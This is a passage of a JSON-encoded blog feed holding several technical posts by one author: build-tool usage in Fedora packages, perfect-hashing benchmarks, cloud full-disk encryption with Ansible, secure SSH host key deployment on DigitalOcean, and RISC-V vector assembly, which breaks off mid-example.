href=\"https:\/\/en.wikipedia.org\/wiki\/GNU_Autotools\">Autotools<\/a>) and other build tools?\nSince most project that use Autotools release their tar archive\nfiles with already generated configure scripts\/make files, the\nresulting packages don't depend on those tools. Plus, <a href=\"https:\/\/fedoraproject.org\/wiki\/Changes\/Remove_make_from_BuildRoot\">before\nFedora 34<\/a>, there isn't even a dependency on GNU make,\nsince it was part of the standard build root environment. This\nchanged with Fedora 34, where 9000 packages or so depend on GNU\nmake.  Subtracting the packages that also require CMake, there\nremain 8000 packages or so that might use Autotools. But how many\nof those use plain old Makefiles can't be easily derived by just\nlooking at the package dependencies.<\/p>\n<p>In any case, using Autotools for a modern C\/C++ project in 2021\nis like using CVS for source code version control in 2021: there\nare better tools available and thus it isn't very interesting to\nstill consider the legacy solutions.<\/p>\n<p>The <a href=\"https:\/\/en.wikipedia.org\/wiki\/Boost_(C%2B%2B_libraries)\">Boost<\/a> project has its own build system: <a href=\"https:\/\/en.wikipedia.org\/wiki\/Perforce_Jam#Boost.Jam\">BJam<\/a>. There\nis some <a href=\"https:\/\/www.boost.org\/build\/doc\/html\/index.html\">documentation<\/a>, but it's kind of minimal and\ncryptic. As of Fedora 34, the is no package that build-requires\nBJam. (Boost itself doesn't need to explicitly require it since\nit's included in the Boost release tar archive.) Incidentally,\nthe Boost steering committee <a href=\"https:\/\/lists.boost.org\/boost-interest\/2017\/07\/0162.php\">announced<\/a> in 2017 its\ndesire to migrate to CMake, however, as of 2021, the current\nBoost documentation still just mentions BJam\/b2 for building\nBoost.<\/p>\n<h2 id=\"methods\">Methods<a class=\"headerlink\" href=\"#methods\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>The build tool usage stats were obtained with:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"p\">{<\/span>\n<span class=\"w\">    <\/span><span class=\"n\">echo<\/span><span class=\"w\"> <\/span><span class=\"s2\">&quot;fedora_release,tool,users&quot;<\/span>\n<span class=\"w\">    <\/span><span class=\"k\">for<\/span><span class=\"w\"> <\/span><span class=\"p\">((<\/span><span class=\"n\">i<\/span><span class=\"o\">=<\/span><span class=\"mi\">7<\/span><span class=\"p\">;<\/span><span class=\"w\"> <\/span><span class=\"n\">i<\/span><span class=\"o\">&lt;<\/span><span class=\"mi\">35<\/span><span class=\"p\">;<\/span><span class=\"w\"> <\/span><span class=\"o\">++<\/span><span class=\"n\">i<\/span><span class=\"p\">));<\/span><span class=\"w\"> <\/span><span class=\"n\">do<\/span>\n<span class=\"w\">        <\/span><span class=\"k\">for<\/span><span class=\"w\"> <\/span><span class=\"n\">k<\/span><span class=\"w\"> <\/span><span class=\"ow\">in<\/span><span class=\"w\"> <\/span><span class=\"n\">meson<\/span><span class=\"w\"> <\/span><span class=\"n\">cmake<\/span><span class=\"w\"> <\/span><span class=\"n\">scons<\/span><span class=\"p\">;<\/span><span class=\"w\"> <\/span><span class=\"n\">do<\/span>\n<span class=\"w\">            <\/span><span class=\"n\">n<\/span><span class=\"o\">=$<\/span><span class=\"p\">(<\/span><span class=\"n\">dnf<\/span><span class=\"w\"> <\/span><span class=\"n\">repoquery<\/span><span class=\"w\"> <\/span><span class=\"o\">--<\/span><span class=\"n\">releasever<\/span><span class=\"o\">=$<\/span><span class=\"n\">i<\/span><span class=\"w\"> <\/span><span class=\"o\">--<\/span><span class=\"n\">disablerepo<\/span><span class=\"o\">=<\/span><span class=\"s1\">&#39;*&#39;<\/span><span class=\"w\"> <\/span><span class=\"o\">--<\/span><span class=\"n\">enablerepo<\/span><span class=\"o\">=<\/span><span class=\"s1\">&#39;*-source&#39;<\/span><span class=\"w\"> <\/span>\\\n<span class=\"w\">                      <\/span><span class=\"o\">--<\/span><span class=\"n\">arch<\/span><span class=\"o\">=<\/span><span class=\"n\">src<\/span><span class=\"w\"> <\/span><span class=\"o\">--<\/span><span class=\"n\">whatrequires<\/span><span class=\"w\"> <\/span><span class=\"o\">$<\/span><span class=\"n\">k<\/span><span class=\"w\"> <\/span><span class=\"o\">|<\/span><span class=\"w\"> <\/span><span class=\"n\">sed<\/span><span class=\"w\"> <\/span><span class=\"s1\">&#39;s\/-[0-9]:[0-9].*$\/\/&#39;<\/span><span class=\"w\"> <\/span>\\\n<span class=\"w\">                    <\/span><span class=\"o\">|<\/span><span class=\"w\"> <\/span><span class=\"n\">sort<\/span><span class=\"w\"> <\/span><span class=\"o\">-<\/span><span class=\"n\">u<\/span><span class=\"w\">  <\/span><span class=\"o\">|<\/span><span class=\"w\"> <\/span><span class=\"n\">wc<\/span><span class=\"w\"> <\/span><span class=\"o\">-<\/span><span class=\"n\">l<\/span><span class=\"p\">)<\/span>\n<span class=\"w\">            <\/span><span class=\"n\">echo<\/span><span class=\"w\"> <\/span><span class=\"s2\">&quot;$i,$k,$n&quot;<\/span>\n<span class=\"w\">        <\/span><span class=\"n\">done<\/span>\n<span class=\"w\">    <\/span><span class=\"n\">done<\/span>\n<span class=\"p\">}<\/span><span class=\"w\"> <\/span><span class=\"o\">|<\/span><span class=\"w\"> <\/span><span class=\"n\">tee<\/span><span class=\"w\"> <\/span><span class=\"n\">build<\/span><span class=\"o\">-<\/span><span class=\"n\">stat<\/span><span class=\"o\">.<\/span><span class=\"n\">csv<\/span>\n<\/code><\/pre><\/div>\n\n<p>And for GNU make, on Fedora 34:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code>dnf repoquery --disablerepo=&#39;*&#39; --enablerepo=&#39;*-source&#39; --arch=src \\\n      --whatrequires make | sed &#39;s\/-[0-9]:[0-9].*$\/\/&#39; \\\n    | sort -u  | wc -l &gt; f34-require-make.log\n<\/code><\/pre><\/div>","category":[{"@attributes":{"term":"linux"}},{"@attributes":{"term":"meson"}},{"@attributes":{"term":"build"}},{"@attributes":{"term":"linux"}}]},{"title":"Perfect Hashing","link":{"@attributes":{"href":"https:\/\/gms.tf\/perfect-hashing.html","rel":"alternate"}},"published":"2020-11-22T16:00:00+01:00","updated":"2020-11-22T16:00:00+01:00","author":{"name":"Georg Sauthoff"},"id":"tag:gms.tf,2020-11-22:\/perfect-hashing.html","summary":"<p>The beauty of <a href=\"https:\/\/en.wikipedia.org\/wiki\/Perfect_hash_function\">perfect hashing<\/a> is that you never have to deal with\nany collisions during item lookup.\nI recently created <a href=\"https:\/\/github.com\/gsauthof\/phashtable\">libphashtable<\/a>, a perfect hashing hash table library for\nC\/C++ which focuses on minimizing item lookup latency jitter.\nThis article presents benchmarking results that show how its lookup\ntimes \u2026<\/p>","content":"<p>The beauty of <a href=\"https:\/\/en.wikipedia.org\/wiki\/Perfect_hash_function\">perfect hashing<\/a> is that you never have to deal with\nany collisions during item lookup.\nI recently created <a href=\"https:\/\/github.com\/gsauthof\/phashtable\">libphashtable<\/a>, a perfect hashing hash table library for\nC\/C++ which focuses on minimizing item lookup latency jitter.\nThis article presents benchmarking results that show how its lookup\ntimes compare to those of a traditional hash table.<\/p>\n<h2 id=\"overview\">Overview<a class=\"headerlink\" href=\"#overview\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>The <a href=\"https:\/\/github.com\/gsauthof\/phashtable\">libphashtable README<\/a> contains some details on the libphashtable\ndesign and on hashing background.\nThis diagram provides a short summary on how libphashtable works:<\/p>\n<p><img alt=\"libphashtable lookup scheme\" src=\"https:\/\/gms.tf\/image\/libphash-lookup.svg\"><\/p>\n<h2 id=\"results\">Results<a class=\"headerlink\" href=\"#results\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p><img alt=\"Perfect Hashing Boxenplot\" src=\"https:\/\/gms.tf\/image\/perfect-hashing-bplot.svg\"><\/p>\n<p>This graph is a <a href=\"https:\/\/seaborn.pydata.org\/generated\/seaborn.boxenplot.html\">boxenplot<\/a> (a <a href=\"https:\/\/en.wikipedia.org\/wiki\/Box_plot\">boxplot<\/a> variant, a.k.a. letter-value\nplot) that describes all measured item lookup access times.\nIt's a comparison of a standard hash-table, i.e. <code>std::unordered_map<\/code> (umap), against libphashtable (ptable), using different item hash functions on a high-end CPU (Intel Xeon Gold 6246) vs. a low-end CPU (Intel Atom C3768).\nAgain, the libphashtable README's <a href=\"https:\/\/github.com\/gsauthof\/phashtable#measurements\">Measurements Section<\/a> contains further\ndetails on the benchmark setup.<\/p>\n<p>The median is marked by a dark grey line that is part (or on top)\nof the biggest box. The biggest box contains 50 % of the values.\nThe next smaller boxes contain the next 25 %, 12.5 % etc. of the\nmeasured values. Outliers are drawn in a diamond shape, where, of\ncourse, multiple outliers may be drawn on top of each other.<\/p>\n<p>Thus, the lower the median the better, less boxes are better than\nmore, flat boxes are better than higher ones, less outliers\nare better than more, etc.<\/p>\n<p>As expected, using a traditional hash table leads to much latency\njitter.\nIt's not just outliers, e.g. on Xeon 50 % of the lookups are\ndistributed over a 5 to 10 ns wide range or so.\nWhile e.g. on the Atom CPU, 50 % of the lookups are\ndistributed over a 20 ns range or so.\nThe very simple and old SDBM item hash function over the board yields very good results.\nAlso, using a more expensive item hash function doesn't really\nhave a good trade off here, such as less collisions due to a better\ndistribution of its range, i.e. the boxes and outliers basically\nare just shifted without being compressed.<\/p>\n<p>The graph shows that libphashtable indeed yields a 'perfect' item\nlookup latency distribution.\nThat means the boxes are so flat that the median line covers\nthem all and there aren't any outliers, in most configurations.\nIn general, using the SDBM hash function as item hash function is\na safe choice, especially when targeting a low-end CPU.<\/p>","category":[{"@attributes":{"term":"algorithm"}},{"@attributes":{"term":"algorithm"}},{"@attributes":{"term":"datastructure"}},{"@attributes":{"term":"C"}},{"@attributes":{"term":"C++"}}]},{"title":"Deploying Full Disk Encryption in the Cloud with Ansible","link":{"@attributes":{"href":"https:\/\/gms.tf\/fedora-initramfs.html","rel":"alternate"}},"published":"2020-11-17T12:00:00+01:00","updated":"2020-11-17T12:00:00+01:00","author":{"name":"Georg Sauthoff"},"id":"tag:gms.tf,2020-11-17:\/fedora-initramfs.html","summary":"<p>Deploying a new virtual machine 'in the cloud' is simple enough\nand fast. As long as one doesn't need to setup an encrypted root\nfilesystem. This article shows how to automate the setup of a\nFedora system with an encrypted root filesystem remotely - 'in\nthe cloud' - on e.g. a \u2026<\/p>","content":"<p>Deploying a new virtual machine 'in the cloud' is simple enough\nand fast. As long as one doesn't need to setup an encrypted root\nfilesystem. This article shows how to automate the setup of a\nFedora system with an encrypted root filesystem remotely - 'in\nthe cloud' - on e.g. a DigitalOcean, Hetzner, Linode, etc. VM -\nwith Ansible and a special <a href=\"https:\/\/github.com\/gsauthof\/playbook\/tree\/master\/fedora\/initramfs\">Fedora rescue system<\/a> that runs purely\nfrom an <a href=\"https:\/\/en.wikipedia.org\/wiki\/Initial_ramdisk\">initramfs<\/a> archive.<\/p>\n<h2 id=\"motivation\">Motivation<a class=\"headerlink\" href=\"#motivation\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>Having an encrypted root filesystem gives you <a href=\"https:\/\/en.wikipedia.org\/wiki\/Data_at_rest\">data at rest\nprotection<\/a>. At the end of the day, your virtual disk\ndevice inside your virtual machine (VM) is just a file on a\nstorage solution where disks are getting replaced and reallocated\nfor other things. After - say - hardware replacements perhaps\nsuch a disk even ends up on eBay without being properly deleted\nand thus some random person now has access to your data. With\nyour root filesystem being encrypted you are protected against\nsuch scenarios.<\/p>\n<p>If you think that such a scenario is far fetched, see also for\nexample <a href=\"https:\/\/www.heise.de\/ct\/artikel\/SSD-mit-Daten-von-Jugendamt-und-Zulassungsstelle-bei-eBay-gefunden-4615144.html\">this 2019 computer magazine article (in German)<\/a>\nwhich describes in detail how some SSDs with very sensitive\npersonal data ended up on eBay.<\/p>\n<h2 id=\"the-problem\">The Problem<a class=\"headerlink\" href=\"#the-problem\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>Cloud providers such as DigitalOcean, Linode or Hetzner provide a\nset of pre-built disk images for different operating systems.\nUsers also have the option to add custom images to their account,\nusually. When deploying a new virtual machine (e.g. a Droplet\nwhen using DigitalOcean) the selected disk image is extracted to\nthe new VM guest, the image has to run some first-boot\ninitialization script which fetches the network configuration,\ncreates sshd host keys and stuff like that.<\/p>\n<p>This process is very fast because the image is pre-built and just\nneeds to be copied while the first-boot initialization doesn't\nhave much to do. Compare this with a traditional automated Linux\ninstall method such as <a href=\"https:\/\/en.wikipedia.org\/wiki\/Kickstart_(Linux)\">Kickstart<\/a> where RPMs are installed one\nafter the other. This takes much longer.<\/p>\n<p>The disadvantage is a loss in flexibility. Especially, this makes\nsetting up the root filesystem on a <a href=\"https:\/\/en.wikipedia.org\/wiki\/Linux_Unified_Key_Setup\">LUKS encrypted<\/a> device\nchallenging.<\/p>\n<h2 id=\"non-solutions\">Non-Solutions<a class=\"headerlink\" href=\"#non-solutions\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>A naive approach to a remote system with an encrypted root\nfilesystem is to locally install a Linux distribution with disk\nencryption enabled and upload the resulting image. The problem\nwith this is that if you want to deploy multiple VMs all then\nhave the same LUKS encryption key. Certainly you can't openly\nshare this image with others and you would upload a new image for\neach new VM deployment. Obviously this is tedious and doesn't\nscale.<\/p>\n<p>After the VM is deployed with an unencrypted root filesystem,\nencrypting it on the fly isn't possible, because the root\nfilesystem is in use.<\/p>\n<h2 id=\"a-solution\">A Solution<a class=\"headerlink\" href=\"#a-solution\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>For some time Linux has the interesting feature to boot a new\nkernel image from a running Linux system. That means the\ncurrently running kernel can be replaced with a new one using the\n<a href=\"https:\/\/en.wikipedia.org\/wiki\/Kexec\">kexec system call<\/a>.<\/p>\n<p>A standard part of the Linux boot process is to extract an early\nboot root filesystem <a href=\"https:\/\/en.wikipedia.org\/wiki\/Initial_ramdisk\">image into a ram disk<\/a>, execute an init\nprocess from it that basically mounts the real root filesystem\nand switches to it. Of course, the final root filesystem switch\nis optional.<\/p>\n<p>In combination these features, i.e. kexec and an early-boot\nenvironment, can be used to <a href=\"https:\/\/en.wikipedia.org\/wiki\/Bootstrapping\">bootstrap<\/a> a fresh Linux installation\nfrom scratch - from a running system.<\/p>\n<p>The basic idea here is to kexec a new kernel with an\n<a href=\"https:\/\/en.wikipedia.org\/wiki\/Initial_ramdisk\">initramfs<\/a> image that contains a small Linux system, i.e.\none that includes enough software to provide network connectivity\nincluding SSH and to drive the Fedora install process.<\/p>\n<p>Recently, I implemented this approach, i.e. I thus wrote a\n<a href=\"https:\/\/github.com\/gsauthof\/playbook\/tree\/master\/fedora\/initramfs\">script that creates such initramfs images<\/a>. That means it\ninstalls a minimal Fedora system into an initramfs.<\/p>\n<p>I also created an <a href=\"https:\/\/github.com\/gsauthof\/playbook\/tree\/master\/fedora\/initramfs\/ansible\">Ansible playbook that drives the whole\nprocess<\/a>.  That means it downloads the initramfs image to the VM,\ncreates VM specific configuration, kexecs into the rescue system\nand finally installs the <a href=\"https:\/\/en.wikipedia.org\/wiki\/Linux_Unified_Key_Setup\">LUKS-encrypted<\/a> target system from there.\nIt even supports creating a DigitalOcean Droplet, first.<\/p>\n<p>Without considering the VM creation, the playbook consists of 30\nsteps or so. After the playbook finishes, the target VM has an\nencrypted root filesystem with a fresh Fedora system on top of\nit.<\/p>\n<p>So far, I successfully used this method and playbook on\nDigitalOcean, Linode and Hetzner VMs and even on some old-school\nbare-metal root-server (rented from Manitu).<\/p>","category":[{"@attributes":{"term":"linux"}},{"@attributes":{"term":"initramfs"}},{"@attributes":{"term":"ansible"}},{"@attributes":{"term":"fedora"}}]},{"title":"Deploying SSH Host Keys with Digital Ocean Droplets","link":{"@attributes":{"href":"https:\/\/gms.tf\/ssh-host-key-deployment.html","rel":"alternate"}},"published":"2020-06-05T22:00:00+02:00","updated":"2020-06-05T22:00:00+02:00","author":{"name":"Georg Sauthoff"},"id":"tag:gms.tf,2020-06-05:\/ssh-host-key-deployment.html","summary":"<p>When deploying a VM in a remote location one might end up in an\nimpossible situation: a VM base image doesn't contain <a href=\"https:\/\/en.wikipedia.org\/wiki\/Secure_Shell\">SSH<\/a>\nhost keys as otherwise the image couldn't be shared between\nmultiple hosts. But if SSH host keys are auto-generated during\nthe first boot one doesn't know their \u2026<\/p>","content":"<p>When deploying a VM in a remote location one might end up in an\nimpossible situation: a VM base image doesn't contain <a href=\"https:\/\/en.wikipedia.org\/wiki\/Secure_Shell\">SSH<\/a>\nhost keys as otherwise the image couldn't be shared between\nmultiple hosts. But if SSH host keys are auto-generated during\nthe first boot one doesn't know their fingerprints and thus they\ncan't be trusted on first connect. This article describes how to\nsecurely deploy SSH host keys when deploying a Digital Ocean\nDroplet (i.e. a VM).<\/p>\n<h2 id=\"problem-description\">Problem Description<a class=\"headerlink\" href=\"#problem-description\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>Pre-build disk images usually don't contain any SSH host keys. At\nleast they shouldn't contain any host keys if they are used for\nmultiple hosts, but sometimes people get this wrong, e.g.\n<a href=\"https:\/\/wiki.hetzner.de\/index.php\/Ed25519\/en#Security_Notice_for_Ed25519_SSH_host_keys\">Hetzner (a web hoster) in 2015<\/a>, <a href=\"https:\/\/tools.cisco.com\/security\/center\/content\/CiscoSecurityAdvisory\/cisco-sa-20150625-ironport\">Cisco (a network equipment\ncompany) also in 2015<\/a> and <a href=\"https:\/\/blog.shodan.io\/duplicate-ssh-keys-everywhere\/\">many others<\/a>.<\/p>\n<p>One common approach is to generate the SSH host keys during first\nboot.<\/p>\n<p>The problem is then: how can we trust this new machine during the\nfirst SSH login? We don't know the fingerprint of any SSH host\nkey because they are newly generated, remotely. Thus, we can't\nreally trust it that way.<\/p>\n<p>One approach is to just accept any first encountered host key and\nstore its fingerprint for later verifications (<a href=\"https:\/\/en.wikipedia.org\/wiki\/Trust_on_first_use\">trust on first\nuse<\/a>). This is better then <a href=\"https:\/\/github.com\/devopsgroup-io\/vagrant-digitalocean\/issues\/289\">ignoring<\/a> the problem\ncompletely but this still makes you vulnerable against\n<a href=\"https:\/\/en.wikipedia.org\/wiki\/Man-in-the-middle_attack\">man-in-the-middle attacks<\/a>.<\/p>\n<p>Generating a new disk image with new host keys for each new host\nand transferring it to a cloud provider doesn't scale.<\/p>\n<h2 id=\"a-solution-for-digital-ocean-droplets\">A Solution for Digital Ocean Droplets<a class=\"headerlink\" href=\"#a-solution-for-digital-ocean-droplets\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>DigitalOcean (like some other cloud providers) uses\n<a href=\"https:\/\/cloudinit.readthedocs.io\/en\/latest\/\">cloud-init<\/a> for the first-boot configuration. And cloud-init\nalso supports supplying SSH host keys via the so called\n<a href=\"https:\/\/cloudinit.readthedocs.io\/en\/20.2\/topics\/format.html#cloud-config-data\">cloud-config<\/a>. Thus, we can supply a cloud-config (with\nlocally generated host keys) via the <a href=\"https:\/\/developers.digitalocean.com\/documentation\/v2\/#create-a-new-droplet\">user-data parameter<\/a>\nwhen creating a new VM via the DigitalOcean API.<\/p>\n<p>SSH host key problem solved. Almost, since it turns out that the\nuser-data cloud-config is served over a <a href=\"https:\/\/developers.digitalocean.com\/documentation\/metadata\/\">link-local address<\/a>\nfor the lifetime of the VM. Since this turns the SSH host keys\ninto world-readable information (to processes running on that VM)\nwe have to consider these cloud-init SSH host keys as ephemeral\nand have to replace them with another set (of locally generated\nSSH host keys) as part of our deployment.<\/p>\n<p>See also an example Ansible playbook of mine that <a href=\"https:\/\/github.com\/gsauthof\/playbook\/blob\/1a792ae163276b5f831225ac61c95f6b131d9c01\/fedora\/initramfs\/ansible\/digital-ocean.yml#L15\">creates a\nDigitalOcean Droplet<\/a> and <a href=\"https:\/\/github.com\/gsauthof\/playbook\/blob\/master\/fedora\/initramfs\/ansible\/digital-ocean.yml#L109\">automates the SSH host key\ndeployment<\/a> in the described way.<\/p>\n<p>In that way, <a href=\"https:\/\/en.wikipedia.org\/wiki\/Man-in-the-middle_attack\">man-in-the-middle attacks<\/a> can be successfully\naverted (and detected) during deployment as the DigitalOcean API\nis called over HTTPS (where the server's certificate is signed by\na trusted CA) and the first ephemeral SSH host key is thus\ntransferred over that secure connection. The second and final SSH\nhost key is transferred over SSH where the (ephemeral) host key\ncan be authenticated by it's known fingerprint.<\/p>","category":[{"@attributes":{"term":"linux"}},{"@attributes":{"term":"ansible"}},{"@attributes":{"term":"digitalocean"}},{"@attributes":{"term":"ssh"}}]},{"title":"Programming with RISC-V Vector Instructions","link":{"@attributes":{"href":"https:\/\/gms.tf\/riscv-vector.html","rel":"alternate"}},"published":"2020-01-25T00:00:00+01:00","updated":"2020-01-25T00:00:00+01:00","author":{"name":"Georg Sauthoff"},"id":"tag:gms.tf,2020-01-25:\/riscv-vector.html","summary":"<p>Perhaps the most interesting part of the open <a href=\"https:\/\/en.wikipedia.org\/wiki\/RISC-V\">RISC-V<\/a> <a href=\"https:\/\/en.wikipedia.org\/wiki\/Instruction_set_architecture\">instruction set architecture (ISA)<\/a> is the vector extension (RISC-V &quot;V&quot;).\nIn contrast to the average <a href=\"https:\/\/en.wikipedia.org\/wiki\/SIMD\">single-instruction multipe-data (SIMD)<\/a> instruction set, RISC-V vector instructions are vector length agnostic (VLA).\nThus, a RISC-V &quot;V&quot; CPU is flexible in choosing a vector register size \u2026<\/p>","content":"<p>Perhaps the most interesting part of the open <a href=\"https:\/\/en.wikipedia.org\/wiki\/RISC-V\">RISC-V<\/a> <a href=\"https:\/\/en.wikipedia.org\/wiki\/Instruction_set_architecture\">instruction set architecture (ISA)<\/a> is the vector extension (RISC-V &quot;V&quot;).\nIn contrast to the average <a href=\"https:\/\/en.wikipedia.org\/wiki\/SIMD\">single-instruction multipe-data (SIMD)<\/a> instruction set, RISC-V vector instructions are vector length agnostic (VLA).\nThus, a RISC-V &quot;V&quot; CPU is flexible in choosing a vector register size while RISC-V &quot;V&quot; binary code is portable between different CPU implementations.<\/p>\n<p>This articles compares the two main different styles of vector ISAs, discusses a string processing  example that is implemented using <a href=\"https:\/\/github.com\/riscv\/riscv-v-spec\/releases\/tag\/0.8\">RISC-V &quot;V&quot; draft version 0.8<\/a> (current as of early 2020) vector instructions and details how to set up a RISC-V &quot;V&quot; development environment under Linux.<\/p>\n<nav>\n<h3>Contents<\/h3>\n<ul>\n<li><a href=\"#simd-challenges\" id=\"toc-entry-1\">SIMD Challenges<\/a><\/li>\n<li><a href=\"#the-solution-agnosticism\" id=\"toc-entry-2\">The Solution: Agnosticism<\/a><\/li>\n<li><a href=\"#example\" id=\"toc-entry-3\">Example<\/a><ul>\n<li><a href=\"#shuffling-nibbles\" id=\"toc-entry-4\">Shuffling Nibbles<\/a><\/li>\n<li><a href=\"#converting-bytes\" id=\"toc-entry-5\">Converting  Bytes<\/a><\/li>\n<li><a href=\"#storing-the-result\" id=\"toc-entry-6\">Storing the Result<\/a><\/li>\n<li><a href=\"#concluding-remarks\" id=\"toc-entry-7\">Concluding Remarks<\/a><\/li>\n<\/ul>\n<\/li>\n<li><a href=\"#getting-started\" id=\"toc-entry-8\">Getting Started<\/a><ul>\n<li><a href=\"#spike\" id=\"toc-entry-9\">Spike<\/a><\/li>\n<li><a href=\"#gnu-toolchain\" id=\"toc-entry-10\">GNU Toolchain<\/a><\/li>\n<li><a href=\"#proxy-kernel\" id=\"toc-entry-11\">Proxy-Kernel<\/a><\/li>\n<li><a href=\"#binutils\" id=\"toc-entry-12\">Binutils<\/a><\/li>\n<li><a href=\"#assembling\" id=\"toc-entry-13\">Assembling<\/a><\/li>\n<li><a href=\"#emulating\" id=\"toc-entry-14\">Emulating<\/a><\/li>\n<\/ul>\n<\/li>\n<li><a href=\"#see-also\" id=\"toc-entry-15\">See Also<\/a><\/li>\n<\/ul>\n<\/nav>\n<section id=\"simd-challenges\">\n<h2><a href=\"#toc-entry-1\">SIMD Challenges<\/a><\/h2>\n<p>With a vector length specific (VLS) <a href=\"https:\/\/en.wikipedia.org\/wiki\/SIMD\">SIMD<\/a> instruction set the main problem is to pick the right vector register size.\nOf course there is a trade-off between the amount of data-level parallelism and hardware costs.\nDue to <a href=\"https:\/\/en.wikipedia.org\/wiki\/Moore%27s_law\">Moore's law<\/a>, vector register sizes can be increased over time without making the CPU chip more expensive.\nAlso, some users are interested in powerful CPUs with wider vector registers while the average user is fine with averagely sized register.\nThus, there is no one right vector register size.\nThis shows for example with x86, where the answer is to provide one VLS ISA after the other, such as <a href=\"https:\/\/en.wikipedia.org\/wiki\/MMX_(instruction_set)\">MMX<\/a> (64 bit registers), <a href=\"https:\/\/en.wikipedia.org\/wiki\/Streaming_SIMD_Extensions\">SSE<\/a> (128 bit), <a href=\"https:\/\/en.wikipedia.org\/wiki\/Advanced_Vector_Extensions\">AVX<\/a> (256 bit) and <a href=\"https:\/\/en.wikipedia.org\/wiki\/AVX-512\">AVX512<\/a> (512 bit).<\/p>\n<p>Because of <a href=\"https:\/\/en.wikipedia.org\/wiki\/Backward_compatibility\">backward compatibility<\/a>, each CPU that adds a new VLS ISA also has to support all existing ones.\nThis leads to a waste of <a href=\"https:\/\/en.wikipedia.org\/wiki\/Opcode\">opcode<\/a> space and increases the complexity of the CPU's <a href=\"https:\/\/en.wikipedia.org\/wiki\/Instruction_cycle#Decode_stage\">instruction decoder<\/a>.\nOf course this also increases the complexity for the programmer who has then remember (or look up all the time) syntactic and functional differences between all the VLS ISAs.<\/p>\n<p>That means that while VLS code written for smaller vector registers runs on newer CPUs, it can't make use of the wider vector registers.\nThus, existing code has to be reimplemented again and again to make use of new VLS ISAs.\nSimilarly, code written for high-end CPUs doesn't run on middle-end CPUs (because it requires the VLS-ISA with wider vector registers).\nThus one either has to target some older (hopefully widely available) VSL-ISA or has to provide multiple implementations for different VSL-ISAs.<\/p>\n<\/section>\n<section id=\"the-solution-agnosticism\">\n<h2><a href=\"#toc-entry-2\">The Solution: Agnosticism<\/a><\/h2>\n<p>The solution to all this is to design a variable length vector instruction set.\nIn that way the instructions are then agnostic to the vector register size of a concrete CPU implementation.\nThus, the binary code is portable between low, middle and high-end CPUs, and automatically makes use of wider registers in newer CPUs.<\/p>\n<p>The <a href=\"https:\/\/github.com\/riscv\/riscv-v-spec\/releases\/tag\/0.8\">RISC-V vector extension &quot;V&quot;<\/a> implements such vector instruction set.\nAs of early 2020, the <a href=\"https:\/\/github.com\/riscv\/riscv-v-spec\/releases\/tag\/0.8\">RISC-V &quot;V&quot; specification<\/a> is at version 0.8 and has draft status.<\/p>\n<p>RISC-V &quot;V&quot; adds 32 vector registers, where the first register can be used as mask register and up to 8 registers can be grouped together.\nThe operands of a vector instruction such as <code>vadd.vv<\/code> are single vector registers or vector register groups.<\/p>\n<p>Since vector registers are of variable length, RISC-V &quot;V&quot; code has to indicate the maximum vector length it wants to work with, e.g.:<\/p>\n<pre class=\"m-code\"><span class=\"nf\">vsetvli<\/span><span class=\"w\"> <\/span><span class=\"no\">t0<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"no\">a2<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"no\">e8<\/span><\/pre>\n<p>Meaning that a vector length (vl) of up to <code>a2<\/code> 8 bit wide (<code>e8<\/code>) elements is requested while the instruction returns the resulting length in register <code>t0<\/code>.\nThus, if the <code>a2<\/code> register is set to - say - <code>4096<\/code>, on a CPU with a vector register length (VLEN) of 128 bits, the following vector instructions work on 16 element wide vectors and <code>t0<\/code> is thus set to <code>16<\/code>, while on a CPU with 512 bit registers the vectors are configured to be 64 elements wide and <code>t0<\/code> is set to <code>64<\/code>.<\/p>\n<p>This approach also simplifies loops that iterate over an input array in vector length chunks.\nFor example (where <code>a1<\/code> contains the address of an array of <code>a2<\/code> times 4 bytes):<\/p>\n<pre class=\"m-code\"><span class=\"nl\">.Loop:<\/span><span class=\"w\">                        <\/span><span class=\"c1\"># local symbol name because of .L prefix<\/span>\n<span class=\"w\">    <\/span><span class=\"nf\">vsetvli<\/span><span class=\"w\"> <\/span><span class=\"no\">t0<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"no\">a2<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"no\">e32<\/span><span class=\"w\">       <\/span><span class=\"c1\"># configure vectors of 32 bit elements<\/span>\n\n<span class=\"w\">    <\/span><span class=\"nf\">vlw.v<\/span><span class=\"w\">   <\/span><span class=\"no\">v4<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"p\">(<\/span><span class=\"no\">a1<\/span><span class=\"p\">)<\/span><span class=\"w\">          <\/span><span class=\"c1\"># Load t0 elements into v4,<\/span>\n<span class=\"w\">                              <\/span><span class=\"c1\"># starting at the address stored in a1<\/span>\n\n<span class=\"w\">    <\/span><span class=\"na\">...<\/span><span class=\"w\">                       <\/span><span class=\"c1\"># work with that chunk<\/span>\n\n<span class=\"w\">    <\/span><span class=\"nf\">slli<\/span><span class=\"w\">    <\/span><span class=\"no\">t1<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"no\">t0<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"mi\">2<\/span><span class=\"w\">         <\/span><span class=\"c1\"># shift-left logical, i.e. times 4<\/span>\n<span class=\"w\">    <\/span><span class=\"nf\">add<\/span><span class=\"w\">     <\/span><span class=\"no\">a1<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"no\">a1<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"no\">t1<\/span><span class=\"w\">        <\/span><span class=\"c1\"># increment src by read elements<\/span>\n<span class=\"w\">    <\/span><span class=\"nf\">sub<\/span><span class=\"w\">     <\/span><span class=\"no\">a2<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"no\">a2<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"no\">t0<\/span><span class=\"w\">      